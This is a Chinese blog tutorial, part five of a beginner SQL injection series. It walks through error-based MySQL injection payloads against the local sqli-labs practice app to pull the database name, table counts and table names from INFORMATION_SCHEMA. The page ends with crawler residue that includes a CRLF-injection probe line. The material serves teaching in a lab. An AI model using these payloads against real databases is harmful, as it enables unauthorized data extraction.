从零开始SQL注入之五
从零开始SQL注入之五
0x00 废话
好久没有更新这个系列了,都快弃坑了。
不知道大家还记得上次讲了什么嘛?估计不记得了,上次讲了显错注入,这次我打算继续把显错注入的剩下几个payload讲完,然后再说别的啦~
0x01 从数据库名继续深入
我们上次的payload只搞出了数据的名字,数据库里还有很多表和字段呐,这个要怎么搞呢?
http://127.0.0.1/sqli-labs/Less-1/?id=1' AND (SELECT 5648 FROM(SELECT COUNT(*),CONCAT(0x7171,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,50)),0x7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1
聪明的同学大概早就弄出来了,没错,就是替换掉DATABASE()
这里,让他去SELECT
别的东西出来。讲到这里不得不说道另一个数据库information_schema
,这个数据库里保存了mysql服务器所有数据库的信息。都包括什么呢,包括有几个数据库,每个数据库有几张表,每个表有多少字段,每个字段的类型、权限等等等等的所有东西。那么我们注入的时候也可以借助这张表,将我们感兴趣的信息从中提取出来。
可以看到这里有多达40张表在其中,这么多我们只要关注其中的几个就可以了。
- COLUMNS:如你所见,这张表中主要保存了列的信息。
- TABLES:给出了关于数据库中的表的信息。
- SCHEMATA:提供了关于数据库的信息。
其他的东西,涉及到的时候再讲啦!
辣么现在我们尝试获取security数据库中表的数量吧,大家回忆下SQL中如何获取一个表中记录的数量呢?一般用count
就可以做到了。
那么我们的payload的核心部分就是SELECT count(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='database()'
,这样就可以获得数据库中表的数量了。
既然有了核心部分的payload,下面要做的就是把他整合到我们的payload模板中了,修改一下上面得到的显错payload:
http://127.0.0.1/sqli-labs/Less-1/?id=1' AND (SELECT 5648 FROM(SELECT COUNT(*),CONCAT(0x7171,(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x7365637572697479),1,50)),0x7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1
我们很容易的得到了这个数据库中表的数量,如果你还不明白INFORMATION_SCHEMA
中这些表的作用(e.g. INFORMATION_SCHEMA.TABLES.TABLE_SCHEMA),自己百度查一查啦!
然后就大家就可以根据这个思路,很容易的构造出爆出表名的payload,大家先自己试一试,这里我直接给出payload了,如果不明白可以在下面留言。
1' AND (SELECT 6393 FROM(SELECT COUNT(*),CONCAT(0x7171,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,50) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x7365637572697479) LIMIT 0,1),0x7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '1'='1
这样只能获取一个表的名字,如果想获取第二个表名,可以使用LIMIT
来处理。
0x02 下一步!UNION注入!
到这里,显错注入讲的差不多了,不能所有的payload我都讲了呀,只要大家掌握了核心原理,那么可以构造出各种各样的bypass语句,所以呢,大家可以自己试着把数据库里的全部内容都拖出来,如果你不能拖出来的话,请不要继续向下学习。
这一次我讲了很少的东西,目的是让大家多动手,另一个其实是我懒。。。:)
下一步我们准备进行更爽的UNION注入~下次再见。
123
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
Crawlergo
gevvsctjowcgvoguecrk
Crawlergo
Crawlergo
CRLF-Header:CRLF-Value